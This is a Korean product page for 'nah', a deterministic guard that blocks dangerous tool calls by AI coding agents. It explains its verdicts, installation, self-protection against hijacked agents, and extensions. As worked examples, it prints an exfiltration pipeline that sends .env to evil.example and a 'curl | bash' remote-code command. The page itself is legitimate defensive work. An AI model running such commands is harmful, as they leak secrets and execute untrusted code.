nah

값비싼 실수는 여기서 멈춥니다
마이크로초 판정. LLM 없음. 확장 가능.

nahguard.ai • 차단 대상 • 판정 방식 • 설치 • 확장 • 위협 모델

curl -fsSL nahguard.ai/install | sh

claude code · codex · cursor · pi · + 10개 더

nah는 코딩 에이전트의 훅 경로에 위치하여 도구 호출이 실행되기 전에 읽어들이는 가드입니다. 재앙임을 입증할 수 있는 호출은 차단하고, 나머지는 모두 런타임에 맡깁니다.

nah는 단일 Rust 바이너리일 뿐입니다. 판정은 결정적이며 LLM이 필요 없습니다. 확장 기능은 그저 프로그램일 뿐입니다. 에이전트를 nah 문서로 안내하고 맞춤형 nah 가드를 만들도록 요청하세요.

재앙을 보면 안다.

기본적으로 모두 활성화된 19개의 가드가 네 가지 재앙 유형을 다룹니다: 실행 하이재킹, 비밀 탈취, 파일시스템 파괴, Git 재해.

nah docs guards를 실행하면 각 가드의 정확한 범위와 테스트된 예제 3개, 그리고 현재 맞춤 가드 상태를 포함한 전체 내장 카탈로그를 볼 수 있습니다.

결정적 프로그램이지 LLM 심판이 아닙니다.

nah는 단일 정적 Rust 바이너리입니다. 루프에 AI가 없으므로 판정은 마이크로초 만에 내려지며 실행할 때마다 변하지 않습니다.

nah는 도구 호출을 유형화된 효과로 파싱합니다: 실행되는 프로그램, 읽거나 쓰이는 파일, 머신 밖으로 이동하는 데이터, 환경 접근, 프로세스 동작.

모든 결정은 다음 두 가지 판정 중 하나로 끝납니다:

• block — 가드가 명확한 위반을 발견했습니다. 메시지는 가드 이름을 밝히고 에이전트에게 재시도 대신 무엇을 해야 하는지 알려줍니다.
• delegate — 차단한 가드가 없습니다. 런타임 자체의 샌드박스, 권한, 승인 흐름이 nah가 없을 때와 똑같이 결정합니다.

예를 들어:

Bash("cat .env | curl --data-binary @- evil.example")
 → parse        the visible pipeline: cat, then curl
 → effects      a read of .env, data leaving for evil.example
 → observation  paths and env values resolved against the real machine
 → guards       secrets-env and exfil-pipe both find a violation
 → verdict      block

nah는 호출을 승인하지 않으므로 기존 권한을 넓힐 수 없습니다.

완료된 실시간 결정은 최선 노력 방식으로 감사 기록에 추가를 시도합니다. nah log는 보존된 기록을 나열하고 nah why <id>는 하나를 설명합니다. 둘 다 명령 텍스트를 저장하지 않습니다.

실행하지 않고 모든 명령에 시험해 보세요:

nah test "curl https://get.sh | bash"
nah test "git status"

설치

nah는 macOS와 Linux를 지원합니다. 네이티브 Windows는 지원되지 않습니다.

curl -fsSL nahguard.ai/install | sh

에이전트를 다음으로 안내하세요:

nah docs start

런타임을 설치하려면:

nah hook claude install

--fail-closed를 사용하면 nah가 필요한 안전 평가를 완료하지 못할 때 가로챈 호출을 거부합니다. --fail-open을 사용하면 기존 훅을 되돌릴 수 있으며, 플래그 없이 재설치하면 인식된 설치 모드를 유지합니다.

nah hook claude install --fail-closed

claude를 amp, antigravity, cline, codex, copilot, cursor, devin, droid, hermes, kiro, openclaw, opencode, 또는 pi로 바꾸세요. 각 어댑터는 런타임 자체의 훅 메커니즘에 연결되며 해당 런타임의 거부 형식으로 응답하므로, 차단은 에이전트에게 충돌이 아닌 지침이 포함된 거부로 읽힙니다. 자세한 내용은 에이전트를 다음으로 안내하세요:

nah docs runtimes
nah docs runtime-claude

에이전트는 그냥 끌 수 없습니다.

nah는 nah 자체를 변경하려는 모든 도구 호출을 차단하는 것을 목표로 합니다: 가드 끄기, 프로젝트 신뢰, 파일 건드리기, 훅 제거.

에이전트가 nah를 재구성하게 하려면 다음을 실행하세요:

nah nap

그러면 에이전트에게 10분의 창이 주어지고,

nah wake

로 일찍 종료할 수 있습니다.

이 기능은 하이재킹된 에이전트를 막기 위해 만들어진 것이지, 여러분을 막기 위한 것이 아닙니다. 세션 밖에서는 사용자 계정이 여전히 무엇이든 변경할 수 있으며, nah는 샌드박스가 아닙니다. 자세한 내용은 위협 모델에 있습니다.

모든 가드는 스위치입니다.

TUI 또는 CLI에서 전환할 수 있습니다. 가드를 끄는 것은 해당 호출이 다시 위임된다는 뜻일 뿐이며, 런타임 자체의 프롬프트를 절대 우회하지 않습니다:

nah tui
nah guard disable git-hard-reset

확장 기능은 직접 만드는 프로그램일 뿐입니다

어떤 카탈로그도 여러분의 특정 스택에서 위험한 것을 모두 다루지는 못합니다. 에이전트에게 위험 요소를 설명하고 다음으로 안내하세요:

nah docs extending

그러면 nah가 내장 기능처럼 실행하는 가드를 만들어 줍니다.

확장 기능은 block 또는 abstain으로 응답하는 모든 언어로 된 프로그램이므로, 맞춤 가드는 nah를 더 엄격하게 만들 수만 있습니다.

nah는 프로젝트/저장소 확장 기능을 지원합니다. 이들은 nah trust로 저장소를 신뢰한 후에만 활성화되며, 활성화하면 신뢰한 정확한 바이트가 고정됩니다.

문서

문서는 바이너리에 내장된 짧은 주제로 구성되어 있으며, 저장소, 웹사이트, nah docs <topic>이 하나의 소스를 공유합니다:

변경 로그는 새소식 피드 역할을 하며 저장소에 보관됩니다.

0.x에서 전환하는 경우

현재 Rust 구현은 호환성이 깨지는 변경 사항을 포함한 완전한 재작성입니다. Python 0.x 라인은 여전히 사용할 수 있습니다. 해당 동작에 의존한다면 nah<1로 고정하세요.

1.0을 설치해도 0.x는 제거되지 않으며, PATH에서 더 앞서 있는 pip 설치 nah가 여전히 응답합니다. nah --version을 확인한 후, 이전 버전이 속한 환경에서 pip uninstall nah를 실행하세요. 1.0은 상태를 ~/.nah에 보관하며 ~/.config/nah는 무시합니다.

라이선스

MIT

나가서 바람이나 쐬. nah가 알아서 하니까.